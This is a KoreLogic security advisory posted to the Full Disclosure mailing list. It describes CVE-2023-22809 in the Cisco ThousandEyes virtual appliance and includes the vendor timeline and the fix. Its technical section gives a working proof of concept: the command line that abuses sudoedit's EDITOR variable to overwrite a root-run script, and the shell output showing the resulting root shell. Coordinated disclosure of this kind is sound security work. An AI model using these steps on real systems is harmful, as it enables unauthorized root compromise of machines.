Message-ID: <7c6d2e30-cc84-4c94-8d68-46b2066a7220@korelogic.com>
Date: Thu, 17 Aug 2023 14:46:21 -0500
From: KoreLogic Disclosures via Fulldisclosure <fulldisclosure@...lists.org>
To: fulldisclosure@...lists.org
Subject: [FD] KL-001-2023-003: Cisco ThousandEyes Enterprise Agent Virtual
 Appliance Arbitrary File Modification via sudoedit

KL-001-2023-003: Cisco ThousandEyes Enterprise Agent Virtual Appliance Arbitrary File Modification via sudoedit

Title: Cisco ThousandEyes Enterprise Agent Virtual Appliance Arbitrary File Modification via sudoedit
Advisory ID: KL-001-2023-003
Publication Date: 2023.08.17
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2023-003.txt


1. Vulnerability Details

      Affected Vendor: ThousandEyes
      Affected Product: ThousandEyes Enterprise Agent Virtual Appliance
      Affected Version: thousandeyes-va-64-18.04 0.218
      Platform: Linux / Ubuntu 18.04
      CWE Classification: CWE-1395: Dependency on Vulnerable
                          Third-Party Component
      CVE ID: CVE-2023-22809


2. Vulnerability Description

      An unpatched vulnerability in 'sudoedit', allowed by sudo
      configuration, permits a low-privilege user to modify arbitrary
      files as root and subsequently execute arbitrary commands as
      root.


3. Technical Description

    The ThousandEyes Virtual Appliance is distributed with
    a restrictive set of commands that can be executed via
    sudo, without having to provide the password for the
    'thousandeyes' account. However, the ability to execute
    sudoedit of a specific file (/etc/hosts) via sudo is permitted
    without requiring the password. The sudoedit binary can
    be abused to allow the modification of any file on the
    filesystem. This is a known security vulnerability (per
    https://seclists.org/oss-sec/2023/q1/42), but had not been
    disclosed for the ThousandEyes Virtual Appliance. This can be
    abused to allow root-level compromise of the virtual appliance.

      thousandeyes@...usandeyes-va:~$ id
      uid=1000(thousandeyes) gid=1000(thousandeyes) 
groups=1000(thousandeyes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),109(sambashare)
      thousandeyes@...usandeyes-va:~$ sudo -l
      Matching Defaults entries for thousandeyes on thousandeyes-va:
          env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

      User thousandeyes may run the following commands on thousandeyes-va:
          (ALL : ALL) ALL
          (ALL) NOPASSWD: /bin/systemctl start te-va, /bin/systemctl stop te-va, /bin/systemctl restart te-va, 
/bin/systemctl status te-va, /bin/systemctl start te-agent, /bin/systemctl stop
              te-agent, /bin/systemctl restart te-agent, /bin/systemctl status te-agent, /bin/systemctl start 
te-browserbot, /bin/systemctl stop te-browserbot, /bin/systemctl restart
              te-browserbot, /bin/systemctl status te-browserbot, /sbin/reboot, sudoedit /etc/hosts, /usr/bin/dig, 
/usr/bin/lsof, /usr/bin/apt-get update, /usr/bin/apt-get install te-agent,
              /usr/bin/apt-get install te-browserbot, /usr/bin/apt-get install te-va, /usr/bin/apt-get install te-pa, 
/usr/bin/apt-get install te-va-unlock, /usr/bin/apt-get install
              te-intl-fonts, /usr/bin/apt-get install te-agent-utils, /usr/bin/apt-get install ntpdate, 
/usr/bin/apt-cache, /usr/bin/te-*, /usr/local/bin/te-*, /usr/local/sbin/te-*
          (root) NOPASSWD: /usr/sbin/ntpdate, /usr/sbin/traceroute, /usr/sbin/tcpdump

    Here we see that /usr/local/bin/te-* are executable as root with no
    password. Even though sudoedit is only permitted to edit /etc/hosts,
    we can use EDITOR= to spawn vim to edit an arbitrary file. Pick one
    of those scripts because we can then execute it:

      thousandeyes@...usandeyes-va:~$ file /usr/local/bin/te-set-config
      /usr/local/bin/te-set-config: Python script, ASCII text executable
      thousandeyes@...usandeyes-va:~$ EDITOR='vim -- /usr/local/bin/te-set-config' sudoedit /etc/hosts
      sudoedit: --: editing files in a writable directory is not permitted
      2 files to edit
      sudoedit: /etc/hosts unchanged
      thousandeyes@...usandeyes-va:~$ file /usr/local/bin/te-set-config
      /usr/local/bin/te-set-config: ASCII text
      thousandeyes@...usandeyes-va:~$ cat /usr/local/bin/te-set-config
      /bin/bash
      thousandeyes@...usandeyes-va:~$ sudo /usr/local/bin/te-set-config
      root@...usandeyes-va:~# id
      uid=0(root) gid=0(root) groups=0(root)
      root@...usandeyes-va:~#


4. Mitigation and Remediation Recommendation

      The vendor has released a version which remediates the described
      vulnerability. Release notes are available at:

      https://bst.cloudapps.cisco.com/bugsearch/bug/CSCwf18994


5. Credit

      This vulnerability was discovered by Jim Becher of
      KoreLogic, Inc.


6. Disclosure Timeline

      2023.04.26 - KoreLogic submits vulnerability details to Cisco.
      2023.04.26 - Cisco acknowledges receipt and the intention to
                   investigate.
      2023.05.04 - Cisco notifies KoreLogic that a remediation for this
                   vulnerability is expected to be available within
                   90 days.
      2023.06.30 - 45 business days have elapsed since KoreLogic reported
                   this vulnerability to the vendor.
      2023.07.11 - Cisco informs KoreLogic that the issue has been
                   remediated in the latest ThousandEyes Virtual
                   Appliance and a Third Party Software Release Note
                   Enclosure will be released 2023.08.16. Cisco
                   provides CVE-2023-22809 to track this vulnerability.
      2023.07.24 - 60 business days have elapsed since KoreLogic reported
                   this vulnerability to the vendor.
      2023.08.16 - Cisco public acknowledgement.
      2023.08.17 - KoreLogic public disclosure.


7. Proof of Concept

      See 3. Technical Description.


The contents of this advisory are copyright(c) 2023
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt


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